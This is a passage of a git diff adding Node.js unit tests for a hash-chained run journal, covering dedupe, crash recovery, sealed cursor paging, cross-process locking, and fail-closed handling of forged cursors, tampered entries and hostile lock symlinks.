truncation, seal flips, wrong versions, extra keys, and cross-run reuse', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.p' } }); + const page = await journal.readPage({ limit: 2 }); + assert.notEqual(page.next_cursor, null); + + const hostiles = [ + ['truncated', page.next_cursor.slice(0, page.next_cursor.length - 8)], + ['empty', ''], + ['no seal', page.next_cursor.split('.')[0]], + ['extra dot', `${page.next_cursor}.extra`], + ['bad base64', `${'!'.repeat(20)}.AAAA`], + ]; + for (const [label, token] of hostiles) { + const error = await errorOf(() => journal.readPage({ cursor: token })); + assert.equal(error.code, 'run_journal_cursor_invalid', label); + } + + // Structurally valid payload with wrong version and extra key, both sealed. + const { createHash } = await import('node:crypto'); + const seal = (text) => { + const payload = Buffer.from(text).toString('base64url'); + const digest = createHash('sha256').update(`${RUN_JOURNAL_CURSOR_DOMAIN}\n${payload}`, 'utf8').digest(); + return `${payload}.${digest.toString('base64url')}`; + }; + const wrongVersion = seal(canonicalJsonStringify({ + v: 2, run: journal.run_fingerprint, seq: 1, head: RUN_JOURNAL_GENESIS_PREV, + })); + assert.equal((await errorOf(() => journal.readPage({ cursor: wrongVersion }))).code, + 'run_journal_cursor_invalid'); + const extraKey = seal(canonicalJsonStringify({ + v: 1, run: journal.run_fingerprint, seq: 1, head: RUN_JOURNAL_GENESIS_PREV, extra: true, + })); + assert.equal((await errorOf(() => journal.readPage({ cursor: extraKey }))).code, + 'run_journal_cursor_invalid'); + const foreignRun = seal(canonicalJsonStringify({ + v: 1, run: 'f'.repeat(64), seq: 1, head: RUN_JOURNAL_GENESIS_PREV, + })); + assert.equal((await errorOf(() => journal.readPage({ cursor: foreignRun }))).code, + 'run_journal_cursor_cross_run'); + + // Out-of-band limits. + assert.equal((await errorOf(() => journal.readPage({ limit: 0 }))).code, 'invalid_format'); + assert.equal((await errorOf(() => journal.readPage({ limit: 65 }))).code, 'invalid_format'); + const stale = await errorOf(() => journal.cursorAfter(99)); + assert.equal(stale.code, 'run_journal_cursor_stale'); + const negative = await errorOf(() => journal.cursorAfter(-1)); + assert.equal(negative.code, 'invalid_format'); + }); +}); + +test('append hostiles: unknown keys, bad expectations, and hostile dedupe keys fail before writes', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + const before = await readFile(path.join(journal.directory, 'journal.jsonl'), 'utf8'); + + const cases = [ + [{ kind: 'child_progress', data: { assignment_id: 'a0', note: 'n' }, extra: 1 }, 'unknown_key'], + [{ kind: 'child_progress' }, 'missing_key'], + [{ kind: 'child_progress', data: { assignment_id: 'a0', note: 'n' }, expected_seq: 0 }, 'invalid_format'], + [{ kind: 'child_progress', data: { assignment_id: 'a0', note: 'n' }, dedupe_key: 'has space' }, 'invalid_format'], + [{ kind: 'child_progress', data: { assignment_id: 'a0', note: 'n', extra: 1 } }, 'unknown_key'], + [{ kind: 'run_opened', data: {} }, 'run_journal_transition_invalid'], + ]; + for (const [event, expectedCode] of cases) { + const error = await errorOf(() => journal.append(event)); + assert.equal(error.code, expectedCode, JSON.stringify(event)); + } + assert.equal(await readFile(path.join(journal.directory, 'journal.jsonl'), 'utf8'), before); + }); +}); + +test('P24 binding hostiles: swapped identities and forged digests fail before any journal path exists', async () => { + const storeRoot = await makePrivateRoot('r1-p25-adv-store-'); + const journalRoot = await makePrivateRoot('r1-p25-adv-root-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId: 'run-binding-a' })); + await store.submit(makeSubmission({ runId: 'run-binding-b' })); + const recordA = JSON.parse(canonicalJsonStringify(await store.getByRunId('run-binding-a'))); + + const swappedIdentity = { ...recordA, identity: JSON.parse(canonicalJsonStringify(await store.getByRunId('run-binding-b'))).identity }; + assert.equal((await errorOf(() => validateBoundRunRecord(swappedIdentity))).code, + 'run_journal_identity_mismatch'); + + const forgedDigest = { ...recordA, canonical_digest: `sha256:${'9'.repeat(64)}` }; + assert.equal((await errorOf(() => validateBoundRunRecord(forgedDigest))).code, + 'run_journal_record_mismatch'); + + const extraKey = { ...recordA, journal_hint: 'x' }; + assert.equal((await errorOf(() => validateBoundRunRecord(extraKey))).code, 'unknown_key'); + + // Nothing was created in the journal root by any failed binding. + assert.deepEqual(await readdir(journalRoot), []); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +test('stale-lock recovery stays bounded and never follows hostile lock symlinks', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + // Hostile symlink at the lock name fails closed. + const scratch = await mkdtempScratch(); + try { + const outside = path.join(scratch, 'outside.lock'); + await writeFile(outside, `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, pid: 1, nonce: 'c'.repeat(32), + })}\n`); + await symlink(outside, path.join(journal.directory, 'lock')); + const symlinked = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.locked' }, + })); + assert.equal(symlinked.code, 'run_journal_lock_corrupt'); + } finally { + await rm(scratch, { recursive: true, force: true }); + await rm(path.join(journal.directory, 'lock'), { force: true }); + } + }); +}); + +test('journal outputs stay deeply frozen and diagnostics never echo event contents', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.frozen' } }); + const state = await journal.currentState(); + assertFrozen(state); + const page = await journal.readPage({ limit: 10 }); + assertFrozen(page); + const diagnosticText = canonicalJsonStringify(page.diagnostics); + assert.equal(diagnosticText.includes('progress.frozen'), false); + assert.equal(diagnosticText.includes('a0'), false); + }); +}); + +function assertFrozen(value) { + if (value === null || typeof value !== 'object') return; + assert.equal(Object.isFrozen(value), true); + for (const child of Object.values(value)) assertFrozen(child); +} + +test('leftover private temporaries are cleaned by the next append without losing data', async () => { + await withJournal(async ({ journal }) => { + await primeChild(journal); + const { open: openFile, writeFile: writeFileFd } = await import('node:fs/promises'); + const tempPath = path.join(journal.directory, `.tmp-${'d'.repeat(32)}`); + const handle = await openFile(tempPath, 'w'); + await writeFileFd(handle, 'partial'); + await handle.close(); + const result = await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.after-temp' }, + }); + assert.equal(result.created, true); + assert.equal(result.state.revision, 3); + const names = await readdir(journal.directory); + assert.equal(names.some((name) => name.startsWith('.tmp-')), false); + void lstat; void chmod; + }); +}); + +test('unbound and hostile option bags fail closed', async () => { + const storeRoot = await makePrivateRoot('r1-p25-adv-store-'); + const journalRoot = await makePrivateRoot('r1-p25-adv-root-'); + try { + const store = await openRunStore(storeRoot); + assert.equal((await errorOf(() => createRunJournal(null))).code, 'invalid_type'); + assert.equal((await errorOf(() => createRunJournal({ root: journalRoot, store }))).code, 'missing_key'); + assert.equal((await errorOf(() => createRunJournal({ + root: journalRoot, store, run_id: 'run-x', extra: 1, + }))).code, 'unknown_key'); + assert.equal((await errorOf(() => createRunJournal({ + root: 'relative/root', store, run_id: 'run-x', + }))).code, 'run_journal_path_unsafe'); + assert.equal((await errorOf(() => createRunJournal({ + root: `${journalRoot}/../escape`, store, run_id: 'run-x', + }))).code, 'run_journal_path_unsafe'); + assert.equal((await errorOf(() => createRunJournal({ + root: journalRoot, store: {}, run_id: 'run-x', + }))).code, 'invalid_type'); + assert.deepEqual(await readdir(journalRoot), []); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-journal.test.mjs b/plugins/codex-co-engineer/test/r1-run-journal.test.mjs new file mode 100644 index 0000000..84b93eb --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-journal.test.mjs @@ -0,0 +1,676 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { chmod, copyFile, lstat, mkdtemp, readFile, readdir, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { RUN_JOURNAL_GENESIS_PREV } from '../mcp/v3/run-reducer.mjs'; +import { + MAX_RUN_JOURNAL_ENTRIES, + createRunJournal, + openRunJournal, + validateBoundRunRecord, +} from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +const WORKER = new URL('./fixtures/r1-run-journal-worker.mjs', import.meta.url).pathname; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +async function withJournal(fn, { runId = 'run-journal-main', open = false } = {}) { + const storeRoot = await makePrivateRoot('r1-p25-store-'); + const journalRoot = await makePrivateRoot('r1-p25-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId })); + const journal = open + ? await openRunJournal({ root: journalRoot, store, run_id: runId }) + : await createRunJournal({ root: journalRoot, store, run_id: runId }); + return await fn({ store, storeRoot, journalRoot, runId, journal }); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +} + +async function readJournalFile(directory) { + try { + return await readFile(path.join(directory, 'journal.jsonl'), 'utf8'); + } catch (error) { + if (error.code === 'ENOENT') return ''; + throw error; + } +} + +test('create and open bind an exact validated P24 record before any path exists', async () => { + const storeRoot = await makePrivateRoot('r1-p25-store-'); + const journalRoot = await makePrivateRoot('r1-p25-journal-'); + try { + const store = await openRunStore(storeRoot); + // Unbound run: typed failure and zero filesystem side effects. + const missing = await errorOf(() => + createRunJournal({ root: journalRoot, store, run_id: 'run-never-bound' })); + assert.equal(missing.code, 'run_store_not_found'); + assert.deepEqual(await readdir(journalRoot), []); + + await store.submit(makeSubmission({ runId: 'run-journal-bind' })); + const journal = await createRunJournal({ root: journalRoot, store, run_id: 'run-journal-bind' }); + assert.equal(journal.run_id, 'run-journal-bind'); + assert.match(journal.record_canonical_digest, /^sha256:[0-9a-f]{64}$/u); + assert.equal(path.basename(path.dirname(journal.directory)), 'runs'); + assert.equal(path.basename(journal.directory), 'run-journal-bind'); + + const rebound = await errorOf(() => + createRunJournal({ root: journalRoot, store, run_id: 'run-journal-bind' })); + assert.equal(rebound.code, 'run_journal_already_exists'); + + // Sharing the accepted P24 store root fails closed. + const shared = await errorOf(() => + createRunJournal({ root: storeRoot, store, run_id: 'run-journal-bind' })); + assert.equal(shared.code, 'run_journal_root_shared'); + + // A record whose canonical digest was tampered with fails validation. + const forged = snapshotCopy(await store.getByRunId('run-journal-bind')); + forged.canonical_digest = `sha256:${'0'.repeat(64)}`; + assert.equal((await errorOf(() => validateBoundRunRecord(forged))).code, + 'run_journal_record_mismatch'); + const swapped = snapshotCopy(await store.getByRunId('run-journal-bind')); + const other = makeSubmission({ runId: 'run-other-identity' }); + swapped.identity = other.identity; + assert.equal((await errorOf(() => validateBoundRunRecord(swapped))).code, + 'run_journal_identity_mismatch'); + + const reopened = await openRunJournal({ root: journalRoot, store, run_id: 'run-journal-bind' }); + assert.equal(reopened.record_canonical_digest, journal.record_canonical_digest); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + +function snapshotCopy(record) { + return JSON.parse(canonicalJsonStringify(record)); +} + +test('one-child lifecycle appends dense chained entries and settles absorbingly', async () => { + await withJournal(async ({ journal }) => { + const first = await journal.append({ kind: 'run_opened', data: {} }); + assert.equal(first.created, true); + assert.equal(first.entry.seq, 1); + assert.equal(first.entry.prev, RUN_JOURNAL_GENESIS_PREV); + assertFrozenTree(first.entry); + + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.tick' } }); + await journal.append({ + kind: 'child_artifact', + data: { assignment_id: 'a0', artifact: { digest: `sha256:${'b'.repeat(64)}`, bytes: 4096 } }, + }); + await journal.append({ kind: 'child_terminal', data: { assignment_id: 'a0', outcome: 'completed' } }); + const settled = await journal.append({ kind: 'run_terminal', data: { outcome: 'completed' } }); + assert.equal(settled.state.revision, 6); + assert.equal(settled.state.terminal, true); + assert.equal(settled.state.run_outcome, 'completed'); + assert.equal(settled.state.artifacts_total, 1); + assert.equal(settled.state.artifact_bytes_total, 4096); + + // Absorbing terminal state rejects every further event. + const absorbed = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.late' }, + })); + assert.equal(absorbed.code, 'run_journal_terminal_absorbed'); + + const text = await readJournalFile(journal.directory); + const lines = text.split('\n').filter((line) => line.length > 0); + assert.equal(lines.length, 6); + const seqs = lines.map((line) => JSON.parse(line).seq); + assert.deepEqual(seqs, [1, 2, 3, 4, 5, 6]); + }); +}); + +for (const childCount of [2, 8]) { + test(`${childCount}-child lifecycle interleaves and settles only once every child is terminal`, async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + const ids = Array.from({ length: childCount }, (_, index) => `child-${index}`); + for (const id of ids) { + await journal.append({ kind: 'child_started', data: { assignment_id: id } }); + } + // A run terminal before all children settle is illegal. + const early = await errorOf(() => journal.append({ + kind: 'run_terminal', data: { outcome: 'completed' }, + })); + assert.equal(early.code, 'run_journal_transition_invalid'); + + for (let index = 0; index < ids.length; index += 1) { + await journal.append({ + kind: 'child_progress', + data: { assignment_id: ids[index], note: 'progress.tick' }, + }); + await journal.append({ + kind: 'child_terminal', + data: { assignment_id: ids[index], outcome: index % 2 === 0 ? 'completed' : 'failed' }, + }); + } + if (childCount === 8) { + const ninth = await errorOf(() => journal.append({ + kind: 'child_started', data: { assignment_id: 'child-over' }, + })); + assert.equal(ninth.code, 'run_journal_children_exceeded'); + } + + const final = await journal.append({ kind: 'run_terminal', data: { outcome: 'completed' } }); + assert.equal(final.state.child_count, childCount); + assert.equal(final.state.children.every((child) => child.outcome !== null), true); + assert.deepEqual( + final.state.children.map((child) => child.assignment_id), + [...ids].sort(), + ); + }); + }); +} + +test('exact head dedupe returns the stored entry without mutation; replay and body conflicts fail', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + const submitted = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + dedupe_key: 'dispatch/a0/attempt-1', + }); + assert.equal(submitted.created, true); + + const duplicate = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + dedupe_key: 'dispatch/a0/attempt-1', + expected_seq: 2, + }); + assert.equal(duplicate.created, false); + assert.equal(duplicate.deduped, true); + assert.equal(duplicate.entry.seq, 2); + assert.equal(canonicalJsonStringify(duplicate.entry), canonicalJsonStringify(submitted.entry)); + + // The same body resubmitted once the head advanced is a replay. + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.x' } }); + const inodeBefore = (await lstat(path.join(journal.directory, 'journal.jsonl'))).ino; + const replayed = await errorOf(() => journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + dedupe_key: 'dispatch/a0/attempt-1', + })); + assert.equal(replayed.code, 'run_journal_replay_conflict'); + + // The same key with a different body is a dedupe conflict at any position. + const conflictingBody = await errorOf(() => journal.append({ + kind: 'child_started', + data: { assignment_id: 'a1' }, + dedupe_key: 'dispatch/a0/attempt-1', + })); + assert.equal(conflictingBody.code, 'run_journal_dedupe_conflict'); + + const inodeAfter = (await lstat(path.join(journal.directory, 'journal.jsonl'))).ino; + assert.equal(inodeAfter, inodeBefore, 'conflicts and dedupe must not mutate the journal'); + }); +}); + +test('compare-and-swap expected_seq gates concurrent optimism with typed conflicts', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {}, expected_seq: 1 }); + const raced = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + expected_seq: 3, + }).then( + () => null, + (error) => error, + ); + assert.equal(raced.code, 'run_journal_expectation_conflict'); + const correct = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + expected_seq: 2, + }); + assert.equal(correct.created, true); + assert.equal(correct.entry.seq, 2); + }); +}); + +test('crash and restart replay the exact derived state and republish stale caches', async () => { + await withJournal(async ({ store, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const liveState = await journal.currentState(); + + // Simulate a crash after the journal rename but before the state cache publish. + const cachePath = path.join(journal.directory, 'state.json'); + const staleCache = await readFile(cachePath); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.a' } }); + await writeFile(cachePath, staleCache); + + const restarted = await openRunJournal({ root: journalRoot, store, run_id: runId }); + const replayed = await restarted.currentState(); + assert.notEqual(replayed.revision, liveState.revision); + assert.equal(replayed.revision, 3); + assert.equal(replayed.event_counts.child_progress, 1); + + // The next append republishes the cache at the new head. + await restarted.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.b' } }); + const finalState = await restarted.currentState(); + const cached = JSON.parse(await readFile(cachePath, 'utf8')); + assert.equal(cached.revision, 4); + assert.equal(cached.revision, finalState.revision); + assert.equal(cached.head_hash, finalState.head_hash); + }); +}); + +test('missing and stale derived-state caches rebuild exactly; disagreeing caches fail hard', async () => { + await withJournal(async ({ store, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const cachePath = path.join(journal.directory, 'state.json'); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const revTwoCache = Buffer.from(await readFile(cachePath)); + + await rm(cachePath); + const reopened = await openRunJournal({ root: journalRoot, store, run_id: runId }); + assert.equal((await reopened.currentState()).revision, 2); + + await reopened.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.c' }, + }); + assert.equal(JSON.parse(await readFile(cachePath, 'utf8')).revision, 3); + + // A well-formed older cache is a legal crash residue. + await writeFile(cachePath, revTwoCache); + const staleOk = await openRunJournal({ root: journalRoot, store, run_id: runId }); + assert.equal((await staleOk.currentState()).revision, 3); + + // A structurally valid cache that lies about its own prefix is tampering. + const lying = JSON.parse(canonicalJsonStringify( + JSON.parse(revTwoCache.toString('utf8')), + )); + lying.children[0].progress_events = 5; + await writeFile(cachePath, `${canonicalJsonStringify(lying)}\n`); + const mismatch = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(mismatch.code, 'run_journal_state_mismatch'); + + // A consistent cache above a shortened-but-valid journal is regression. + await writeFile(cachePath, revTwoCache); + const firstLine = (await readFile(journalPath, 'utf8')).split('\n')[0]; + await writeFile(journalPath, `${firstLine}\n`); + const regressed = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(regressed.code, 'run_journal_state_regression'); + }); +}); + +test('torn tails heal by truncation on demand and automatically before the next append', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const good = await readFile(journalPath); + await appendBytes(journalPath, '{"schema":"codex-co-engineer.run-jou'); + + const healed = await journal.healTornTail(); + assert.equal(healed.healed, true); + assert.equal(healed.state.revision, 2); + assert.equal(await readFile(journalPath, 'utf8'), good.toString('utf8')); + + // Reads fail closed while torn; append heals first and then commits. + await appendBytes(journalPath, '{"seq":3,"kind":"child_prog'); + const healedAgain = await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.after-crash' }, + }); + assert.equal(healedAgain.created, true); + assert.equal(healedAgain.entry.seq, 3); + assert.equal(healedAgain.state.event_counts.child_progress, 1); + }); +}); + +async function appendBytes(target, text) { + const { appendFile } = await import('node:fs/promises'); + await appendFile(target, text); +} + +test('committed corruption anywhere fails hard while torn-tail bytes stay healable', async () => { + await withJournal(async ({ store, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + await journal.append({ kind: 'child_progress', data: { assignment_id: 'a0', note: 'progress.mid' } }); + const journalPath = path.join(journal.directory, 'journal.jsonl'); + const lines = (await readFile(journalPath, 'utf8')).split('\n').filter(Boolean); + + // Rewrite the middle entry's outcome fields: committed corruption. + const forged = JSON.parse(lines[1]); + forged.data.assignment_id = 'hijack'; + lines[1] = canonicalJsonStringify(forged); + await writeFile(journalPath, `${lines.join('\n')}\n`); + const corrupt = await errorOf(() => openRunJournal({ root: journalRoot, store, run_id: runId })); + assert.equal(corrupt.code, 'run_journal_committed_corruption'); + + // A fully-written but hash-breaking tail line is committed corruption too. + const honest = [ + canonicalJsonStringify(JSON.parse(lines[0])), + canonicalJsonStringify({ ...JSON.parse(lines[1]), data: { assignment_id: 'a0' } }), + lines[2], + ]; + const brokenHash = JSON.parse(honest[2]); + brokenHash.hash = `sha256:${'f'.repeat(64)}`; + await writeFile(journalPath, `${honest.join('\n')}\n${canonicalJsonStringify(brokenHash)}\n`); + const tailCorrupt = await errorOf(() => journal.healTornTail()); + assert.equal(tailCorrupt.code, 'run_journal_committed_corruption'); + }); +}); + +test('cursor paging is bounded, run-bound, tamper-evident, and diagnostics stay content-free', async () => { + await withJournal(async ({ journal, runId }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + for (let index = 0; index < 5; index += 1) { + await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: `progress.${index}` }, + }); + } + + const page1 = await journal.readPage({ limit: 2 }); + assert.equal(page1.events.length, 2); + assert.equal(page1.events[0].seq, 1); + assert.deepEqual(Object.keys(page1.diagnostics).sort(), [ + 'remaining_events', 'served_bytes', 'served_events', 'stale_temporaries', 'truncated', + ]); + assert.equal(page1.diagnostics.truncated, true); + assert.equal(typeof page1.diagnostics.served_bytes, 'number'); + assertFrozenTree(page1); + + const page2 = await journal.readPage({ cursor: page1.next_cursor, limit: 2 }); + const page3 = await journal.readPage({ cursor: page2.next_cursor, limit: 2 }); + const page4 = await journal.readPage({ cursor: page3.next_cursor, limit: 2 }); + assert.equal(page4.events.length, 1); + assert.equal(page4.next_cursor, null); + assert.equal(page4.diagnostics.remaining_events, 0); + const served = [...page1.events, ...page2.events, ...page3.events, ...page4.events]; + assert.deepEqual(served.map((entry) => entry.seq), [1, 2, 3, 4, 5, 6, 7]); + + const position = await journal.cursorAfter(7); + assert.equal(position.cursor.length <= 512, true); + const emptyTail = await journal.readPage({ cursor: position.cursor, limit: 2 }); + assert.equal(emptyTail.events.length, 0); + + // Tampering with any token byte fails closed. + const flipped = flipLastChar(page1.next_cursor); + const tampered = await errorOf(() => journal.readPage({ cursor: flipped })); + assert.equal(tampered.code, 'run_journal_cursor_invalid'); + + // A cursor beyond the head is stale; a mismatched prefix hash is rejected. + // Both forgeries carry valid seals: the cursor is tamper-evident, not secret. + const { RUN_JOURNAL_CURSOR_DOMAIN } = await import('../mcp/v3/run-journal.mjs'); + const sealFor = (payloadText) => { + const payload = Buffer.from(payloadText).toString('base64url'); + const seal = createHash('sha256').update(`${RUN_JOURNAL_CURSOR_DOMAIN}\n${payload}`, 'utf8').digest(); + return `${payload}.${seal.toString('base64url')}`; + }; + const staleToken = sealFor(canonicalJsonStringify({ + v: 1, + run: journal.run_fingerprint, + seq: 99, + head: RUN_JOURNAL_GENESIS_PREV, + })); + const stale = await errorOf(() => journal.readPage({ cursor: staleToken })); + assert.equal(stale.code, 'run_journal_cursor_stale'); + + const mismatchToken = sealFor(canonicalJsonStringify({ + v: 1, + run: journal.run_fingerprint, + seq: 0, + head: `sha256:${'0'.repeat(64)}`, + })); + const mismatched = await errorOf(() => journal.readPage({ cursor: mismatchToken })); + assert.equal(mismatched.code, 'run_journal_cursor_mismatch'); + + // Cross-run reuse fails with the dedicated code. The sibling keeps its + // own P24 store alive so every rebinding stays possible until asserted. + const siblingStore = await makePrivateRoot('r1-p25-sibling-store-'); + const siblingRoot = await makePrivateRoot('r1-p25-sibling-root-'); + try { + const siblingStoreHandle = await openRunStore(siblingStore); + await siblingStoreHandle.submit(makeSubmission({ runId: 'run-journal-sibling' })); + const second = await createRunJournal({ + root: siblingRoot, + store: siblingStoreHandle, + run_id: 'run-journal-sibling', + }); + const crossRun = await errorOf(() => second.readPage({ cursor: page1.next_cursor })); + assert.equal(crossRun.code, 'run_journal_cursor_cross_run'); + } finally { + await rm(siblingStore, { recursive: true, force: true }); + await rm(siblingRoot, { recursive: true, force: true }); + } + void runId; + }, { runId: 'run-journal-pages' }); +}); + +function flipLastChar(token) { + const last = token.at(-1); + const replacement = last === 'A' ? 'B' : 'A'; + return `${token.slice(0, -1)}${replacement}`; +} + +test('cross-process appends serialize into one dense authoritative chain', async () => { + await withJournal(async ({ storeRoot, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + + const workers = ['w0', 'w1', 'w2'].map((prefix) => spawnWorker({ + storeRoot, journalRoot, runId, count: 6, prefix, + })); + const results = await Promise.all(workers.map((worker) => worker.done)); + for (const result of results) { + assert.equal(result.ok, true, + `worker failed: ${result.code ?? ''} ${result.message ?? ''}`); + assert.equal(result.appended, 6); + } + const createdTotal = results.reduce((sum, result) => sum + result.created, 0); + const dedupedTotal = results.reduce((sum, result) => sum + result.deduped, 0); + assert.equal(createdTotal + dedupedTotal, 18); + + const final = await journal.currentState(); + assert.equal(final.revision, 20); + assert.equal(final.event_counts.child_progress, 18); + const text = await readJournalFile(journal.directory); + const seqs = text.split('\n').filter(Boolean).map((line) => JSON.parse(line).seq); + assert.deepEqual(seqs, Array.from({ length: 20 }, (_, index) => index + 1)); + }, { runId: 'run-journal-concurrent' }); +}); + +test('duplicate cross-process submissions keep exactly one committed entry per dedupe key', async () => { + await withJournal(async ({ storeRoot, journalRoot, runId, journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + + const sameKey = ['d0', 'd1', 'd2'].map(() => spawnWorker({ + storeRoot, + journalRoot, + runId, + count: 1, + prefix: 'same.key', + })); + const outcomes = await Promise.all(sameKey.map((worker) => worker.done)); + // All workers used identical prefixes, so all three targeted one key/body. + const created = outcomes.filter((result) => result.ok && result.created === 1).length; + const deduped = outcomes.filter((result) => result.ok && result.deduped === 1).length; + const conflicted = outcomes.filter((result) => !result.ok + && (result.code === 'run_journal_replay_conflict' + || result.code === 'run_journal_dedupe_conflict')).length; + assert.equal(created + deduped + conflicted, 3); + assert.equal(created <= 1, true, 'at most one worker may create the entry'); + + const state = await journal.currentState(); + assert.equal(state.event_counts.child_progress <= 1, true); + }, { runId: 'run-journal-duplicate' }); +}); + +function spawnWorker({ storeRoot, journalRoot, runId, count, prefix }) { + const child = spawn(process.execPath, [WORKER, storeRoot, journalRoot, runId, String(count), prefix]); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { stdout += chunk; }); + child.stderr.on('data', (chunk) => { stderr += chunk; }); + const done = new Promise((resolve, reject) => { + child.on('exit', () => { + try { + resolve(JSON.parse(stdout.trim().split('\n').at(-1))); + } catch (error) { + reject(new Error(`worker produced no result (${stderr.trim()}): ${error.message}`)); + } + }); + child.on('error', reject); + }); + return { done, child }; +} + +test('a dead owner lock is recovered within bounds; a live foreign owner times out typed', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + + // Dead-owner recovery. + const deadChild = spawn(process.execPath, ['-e', 'process.exit(0);']); + await new Promise((resolve) => deadChild.on('exit', resolve)); + const { RUN_JOURNAL_LOCK_SCHEMA_ID } = await import('../mcp/v3/run-journal.mjs'); + await writeFile(path.join(journal.directory, 'lock'), `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: deadChild.pid, + nonce: 'a'.repeat(32), + })}\n`); + const recovered = await journal.append({ + kind: 'child_started', + data: { assignment_id: 'a0' }, + }); + assert.equal(recovered.created, true); + assert.equal((await journal.currentState()).event_counts.child_started, 1); + + // Live foreign owner times out within the bounded wait. + const holder = spawn(process.execPath, ['-e', 'setTimeout(() => {}, 30000);']); + try { + await writeFile(path.join(journal.directory, 'lock'), `${canonicalJsonStringify({ + schema: RUN_JOURNAL_LOCK_SCHEMA_ID, + pid: holder.pid, + nonce: 'b'.repeat(32), + })}\n`); + const startedAt = Date.now(); + const timeout = await errorOf(() => journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: 'progress.blocked' }, + })); + assert.equal(timeout.code, 'run_journal_lock_timeout'); + assert.equal(Date.now() - startedAt >= 1500, true); + } finally { + holder.kill('SIGKILL'); + await rm(path.join(journal.directory, 'lock'), { force: true }); + } + }); +}); + +test('entry caps, byte bounds, and private modes hold across the whole journal', async () => { + await withJournal(async ({ journal }) => { + await journal.append({ kind: 'run_opened', data: {} }); + await journal.append({ kind: 'child_started', data: { assignment_id: 'a0' } }); + for (let index = 0; index < MAX_RUN_JOURNAL_ENTRIES - 2; index += 1) { + await journal.append({ + kind: 'child_progress', + data: { assignment_id: 'a0', note: `p.${index}` }, + }); + } + assert.equal((await journal.currentState()).revision, 